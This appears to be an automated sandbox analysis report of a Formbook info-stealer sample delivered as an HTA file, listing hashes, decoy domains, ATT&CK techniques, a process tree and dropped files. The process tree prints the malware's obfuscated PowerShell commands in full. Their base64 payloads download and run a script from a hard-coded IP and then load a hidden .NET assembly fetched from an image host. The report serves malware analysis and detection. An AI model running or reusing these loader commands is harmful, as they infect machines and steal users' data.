formbook | 56966ff863d37f048e873725f57c3d6ea7883c4c20c033f2bd5f85adeec1b62b

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2025, 05:37

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General

Target

nicetomeetyoulittleheartsweetheartsheisbeautifulgirl.hta
Size

14KB
MD5

24a0a0feeb3c8ddf4e0a8480107d5a47
SHA1

826364c4e1b951b3cb5d0c5d82db4a8e59e05140
SHA256

56966ff863d37f048e873725f57c3d6ea7883c4c20c033f2bd5f85adeec1b62b
SHA512

2c318b518bf94a264dfc6ae8938a00b7f915a38f7105b4c7df7799fd242b9906e4147644f26b5f2ecdcf892f5186efcd9c5182ef1e8f155b460a24d7ba5cac3e
SSDEEP

48:3aodOOQvMUUdOOQHnMUvMxyhz+rntkpyr+slA6Y8TurdkGijmQdkrC3dOOQe0dO1:qoOMhQM1AhmtscdlRB/arEY/PMfW+

Score

10^/10

formbook b101 defense_evasion discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

b101

Decoy

ent-apartments-2801.click

lsyw.top

eccurastock.online

j958.net

eepelement.tech

rueblueimpact.shop

etechhome.net

ianchui.cfd

mall-business-22321.bond

tatewidefinancialservices.net

orbitmac.info

ovehkjepe88.club

zzhmamn.xyz

uslimbooking.net

uto253.pro

ortalexpresscliepr.lat

tikk.shop

iaoniang.cfd

sdg-6603.cyou

myd.net

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Formbook family
formbook

Formbook payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/3892-89-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral2/memory/3360-93-0x0000000000690000-0x00000000006BF000-memory.dmp	formbook

Blocklisted process makes network request 3 IoCs

flow	pid	Process
18	4120	powershell.exe
21	3920	powershell.exe
22	3920	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4424	cmd.exe
4120	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3920	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3920 set thread context of 3892	3920	powershell.exe	98
PID 3892 set thread context of 3440	3892	aspnet_compiler.exe	56
PID 3360 set thread context of 3440	3360	msdt.exe	56

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msdt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-70482961-775596374-3727440602-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe
3892	aspnet_compiler.exe
3892	aspnet_compiler.exe
3892	aspnet_compiler.exe
3892	aspnet_compiler.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe
3360	msdt.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3892	aspnet_compiler.exe
3892	aspnet_compiler.exe
3892	aspnet_compiler.exe
3360	msdt.exe
3360	msdt.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	3892	aspnet_compiler.exe
Token: SeShutdownPrivilege	3440	Explorer.EXE
Token: SeCreatePagefilePrivilege	3440	Explorer.EXE
Token: SeDebugPrivilege	3360	msdt.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3440	Explorer.EXE

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 4424	4800	mshta.exe	86
PID 4800 wrote to memory of 4424	4800	mshta.exe	86
PID 4800 wrote to memory of 4424	4800	mshta.exe	86
PID 4424 wrote to memory of 4120	4424	cmd.exe	88
PID 4424 wrote to memory of 4120	4424	cmd.exe	88
PID 4424 wrote to memory of 4120	4424	cmd.exe	88
PID 4120 wrote to memory of 3628	4120	powershell.exe	92
PID 4120 wrote to memory of 3628	4120	powershell.exe	92
PID 4120 wrote to memory of 3628	4120	powershell.exe	92
PID 3628 wrote to memory of 4512	3628	csc.exe	93
PID 3628 wrote to memory of 4512	3628	csc.exe	93
PID 3628 wrote to memory of 4512	3628	csc.exe	93
PID 4120 wrote to memory of 3164	4120	powershell.exe	94
PID 4120 wrote to memory of 3164	4120	powershell.exe	94
PID 4120 wrote to memory of 3164	4120	powershell.exe	94
PID 3164 wrote to memory of 3920	3164	WScript.exe	95
PID 3164 wrote to memory of 3920	3164	WScript.exe	95
PID 3164 wrote to memory of 3920	3164	WScript.exe	95
PID 3920 wrote to memory of 5100	3920	powershell.exe	97
PID 3920 wrote to memory of 5100	3920	powershell.exe	97
PID 3920 wrote to memory of 5100	3920	powershell.exe	97
PID 3920 wrote to memory of 3892	3920	powershell.exe	98
PID 3920 wrote to memory of 3892	3920	powershell.exe	98
PID 3920 wrote to memory of 3892	3920	powershell.exe	98
PID 3920 wrote to memory of 3892	3920	powershell.exe	98
PID 3920 wrote to memory of 3892	3920	powershell.exe	98
PID 3920 wrote to memory of 3892	3920	powershell.exe	98
PID 3440 wrote to memory of 3360	3440	Explorer.EXE	99
PID 3440 wrote to memory of 3360	3440	Explorer.EXE	99
PID 3440 wrote to memory of 3360	3440	Explorer.EXE	99
PID 3360 wrote to memory of 4988	3360	msdt.exe	100
PID 3360 wrote to memory of 4988	3360	msdt.exe	100
PID 3360 wrote to memory of 4988	3360	msdt.exe	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Windows\SysWOW64\mshta.exe
  C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\nicetomeetyoulittleheartsweetheartsheisbeautifulgirl.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/C PoWeRSHelL.exE -EX BYPAsS -nOp -W 1 -c dEVICeCREdEnTIAlDeplOymEnT.Exe ; inVoKe-ExprEsSion($(INVOKe-exPrESSiON('[sYSTEM.Text.EncOdINg]'+[chAr]58+[CHAR]0X3A+'UTF8.GetsTRIng([SYSTem.cONVErt]'+[CHAr]0x3a+[CHaR]0X3a+'FroMbAsE64sTRING('+[ChAr]0X22+'JDdCUEZBRDBaMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CRXJkZUZJbklUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZrcU16UmNQTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVVl6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBreVhyTGRULHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJmYSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAieENOZGVoTGkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckV4SEljZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ3QlBGQUQwWjA6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMjMuMTg3LjE1MC94YW1wcC9mYm4vbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZnUuZ0lGIiwiJEVOdjpBUFBEQVRBXG5pY2V0b21lZXR5b3VsaXR0bGVoZWFydHN3ZWV0aGVhcnRzaGVpc2JlYXV0aWYudmJzIiwwLDApO1NUQVJULXNMRWVQKDMpO0ludk9LRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZi52YnMi'+[CHAR]0x22+'))')))"
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4424
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      PoWeRSHelL.exE -EX BYPAsS -nOp -W 1 -c dEVICeCREdEnTIAlDeplOymEnT.Exe ; inVoKe-ExprEsSion($(INVOKe-exPrESSiON('[sYSTEM.Text.EncOdINg]'+[chAr]58+[CHAR]0X3A+'UTF8.GetsTRIng([SYSTem.cONVErt]'+[CHAr]0x3a+[CHaR]0X3a+'FroMbAsE64sTRING('+[ChAr]0X22+'JDdCUEZBRDBaMCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CRXJkZUZJbklUSU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNb24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZrcU16UmNQTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVVl6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBreVhyTGRULHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJmYSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAieENOZGVoTGkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckV4SEljZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ3QlBGQUQwWjA6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMjMuMTg3LjE1MC94YW1wcC9mYm4vbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZnUuZ0lGIiwiJEVOdjpBUFBEQVRBXG5pY2V0b21lZXR5b3VsaXR0bGVoZWFydHN3ZWV0aGVhcnRzaGVpc2JlYXV0aWYudmJzIiwwLDApO1NUQVJULXNMRWVQKDMpO0ludk9LRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcbmljZXRvbWVldHlvdWxpdHRsZWhlYXJ0c3dlZXRoZWFydHNoZWlzYmVhdXRpZi52YnMi'+[CHAR]0x22+'))')))"
      4⤵
      Blocklisted process makes network request
      Evasion via Device Credential Deployment
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c4p2mdyp\c4p2mdyp.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3628
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD419.tmp" "c:\Users\Admin\AppData\Local\Temp\c4p2mdyp\CSC5FDA28BE35D54929AE7AB778D87BF34D.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4512
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicetomeetyoulittleheartsweetheartsheisbeautif.vbs"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3164
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZQBtAHIAbwBmAG4AZQBlAHMAcgBlAHYAZQByAG8AZgBsAHIAaQBnAGwAdQBmAGkAdAB1AGEAZQBiAGwAcgBpAGcAdABzAGUAYgBsAHIAaQBnAGUAYwBpAG4ALwBuAGIAZgAvAHAAcABtAGEAeAAvADAANQAxAC4ANwA4ADEALgAzADIALgA4ADkAMQAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADgAMwAzADQANQAzADMALwBhAGwAYwBiADQAaAB0AG8AbAB6AHYAZgBoAHoAegB1AGYAcQBoADUALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAGEAcwBwAG4AZQB0AF8AYwBvAG0AcABpAGwAZQByACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3920
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        
        PID:5100
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        7⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of AdjustPrivilegeToken
        
        PID:3892
- C:\Windows\SysWOW64\msdt.exe
  "C:\Windows\SysWOW64\msdt.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
fb1df442f2cee34456c6ed9064318559

SHA1
729e8f61f181b303d25e1f709399db242d82c6c2

SHA256
75207b26127c0778928b2c0ce51d371a1b4f5a4c47596902f88dbff9ddd16a79

SHA512
d6df1b8e17733d65ae332d20a22fcbc2cdec8df38a705b694b4d87b2f0c9c287378791c3da2cb2142e95f31df1b4209e01a17a83eabfcb2175f38a9207ad0294

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
06bae8a862675c1fc193c785f78932a2

SHA1
e185c5a6c6fb099666c2ccaf33a9e1ea216209b2

SHA256
9c845ea914e8c752541fa67526b6da2e8225db9757996bb7633839297ce5916b

SHA512
40f9e757bff6772e648823e4ae7f4f855c28a36fabf944f72096b5523d60e6a81e127740724469d013211576595a8e84ef1eb8a08ce7311500dfb740a19d5938

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C:\Users\Admin\AppData\Local\Temp\RESD419.tmp

Filesize
1KB

MD5
2d24d6ba76c2ac81d34977c31e0dd8bb

SHA1
5bcc249216a67886433ddd83a72d73af09cf8848

SHA256
40fb3431d28d41170ec09758b6e32d3df824a0943da2415d039143216c0b1dfc

SHA512
470078e9dd5c4e2801831d5e3e8331e3924935c454efa50835565af75616fc22e95b9152f9454aeb0f8b0b69aaf64edfb64c8c10af5289a613558fe906fc890f

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j3bfhe4d.vii.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\c4p2mdyp\c4p2mdyp.dll

Filesize
3KB

MD5
e95fc663f8d6eaa7efbad0b69d87dcef

SHA1
e16cdc108c151d0e892b79121209bae353f98557

SHA256
8e8d88bffeacdb3e326108ddd14a0896561b6ce82281f89a2080b2b0223c0c2c

SHA512
53282280a36f51441f8fff6723f75d8e81762307cb57818904a9141e36ad06669fdce3674ef0c1ce4126ec4657a57d54f9bdf4d5d0d7fe0e59461eae7ffa856d

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C:\Users\Admin\AppData\Roaming\nicetomeetyoulittleheartsweetheartsheisbeautif.vbs

Filesize
216KB

MD5
eaaecea977e9d02eb3ba12a426b9930d

SHA1
1b1d388b1aace23874ab95ad625f1e34ee43e234

SHA256
5b8920b32beba0b9c5cadf86e0e48d3df9cf33b89ed878efc06ca07ba7122f18

SHA512
929d244152855e99319f46f0f7d022fa127d4f628afebd26b6597e8c10265ba75eb9f1150dc0346ef51719f331f62a13669a8a366d2689996788b0d2601121e8

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\??\c:\Users\Admin\AppData\Local\Temp\c4p2mdyp\CSC5FDA28BE35D54929AE7AB778D87BF34D.TMP

Filesize
652B

MD5
0e4d96b486966c3bb929d537e0fe76c4

SHA1
d5d09f5092a67c157f83693d7ca0597f5d41b0bd

SHA256
6e9acf919696bd258b2cd03729c75ac606b98299163c2c8c09d52b39e5af048f

SHA512
8acade0db52ba105ac4c5cc1d17d3b98db6eed78c595ebd72a967b410115b325dd3c04e5a4d7239faf7303a467f7bf158d17195c991b0c7d400aa8fb5a8cf901

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\??\c:\Users\Admin\AppData\Local\Temp\c4p2mdyp\c4p2mdyp.0.cs

Filesize
478B

MD5
19c349f194ea440d75e3d8bb016a48c1

SHA1
e4c63d11e4345744be72671c3f698ba717fca329

SHA256
54d8a84d51dffcb3b93aa8c8571f35fcf1c6a567574a138f9b803479b6aad974

SHA512
c9cc5ac32184f5771a22e8ff0de1812d4e4e0e1a8236d8660be761382983eeced98333ff6845c70ab999c52a94d64939e50d24cc4b3caab4d80c79e5267dfb71

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\??\c:\Users\Admin\AppData\Local\Temp\c4p2mdyp\c4p2mdyp.cmdline

Filesize
369B

MD5
c20891827c531ede192964d6e7519fe1

SHA1
a670324108f68c93e06872201a3c8e7d068fa95f

SHA256
d0d6cc4601c1dfcd26cce379938bcd3f1b1fde22a0fb5ebc8d4962efa2b7d644

SHA512
c601d70f7a424c24535870d68d1b9c3201177ddb21cd7f2f84c3907b7f4252744b9a84a8cb831cf7e30c7a1cf8b49cfaab704f3e5629153f90eb159eadf05e77

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memory/3360-92-0x0000000000760000-0x00000000007B7000-memory.dmp

Filesize
348KB

Download
memory/3360-93-0x0000000000690000-0x00000000006BF000-memory.dmp

Filesize
188KB

Download
memory/3440-97-0x0000000002FD0000-0x0000000003094000-memory.dmp

Filesize
784KB

Download
memory/3892-89-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/3920-86-0x00000000075A0000-0x00000000075B2000-memory.dmp

Filesize
72KB

Download
memory/3920-87-0x0000000007500000-0x000000000759C000-memory.dmp

Filesize
624KB

Download
memory/3920-88-0x00000000074F0000-0x00000000074F6000-memory.dmp

Filesize
24KB

Download
memory/4120-37-0x0000000007EC0000-0x000000000853A000-memory.dmp

Filesize
6.5MB

Download
memory/4120-58-0x0000000007AA0000-0x0000000007AA8000-memory.dmp

Filesize
32KB

Download
memory/4120-23-0x000000006DD80000-0x000000006E0D4000-memory.dmp

Filesize
3.3MB

Download
memory/4120-33-0x0000000006AB0000-0x0000000006ACE000-memory.dmp

Filesize
120KB

Download
memory/4120-21-0x000000006DC20000-0x000000006DC6C000-memory.dmp

Filesize
304KB

Download
memory/4120-34-0x0000000007790000-0x0000000007833000-memory.dmp

Filesize
652KB

Download
memory/4120-35-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-36-0x0000000071360000-0x0000000071B10000-memory.dmp

Filesize
7.7MB

Download
memory/4120-20-0x00000000074A0000-0x00000000074D2000-memory.dmp

Filesize
200KB

Download
memory/4120-38-0x0000000005240000-0x000000000525A000-memory.dmp

Filesize
104KB

Download
memory/4120-39-0x00000000078B0000-0x00000000078BA000-memory.dmp

Filesize
40KB

Download
memory/4120-40-0x0000000007AD0000-0x0000000007B66000-memory.dmp

Filesize
600KB

Download
memory/4120-41-0x0000000007A30000-0x0000000007A41000-memory.dmp

Filesize
68KB

Download
memory/4120-42-0x0000000007A60000-0x0000000007A6E000-memory.dmp

Filesize
56KB

Download
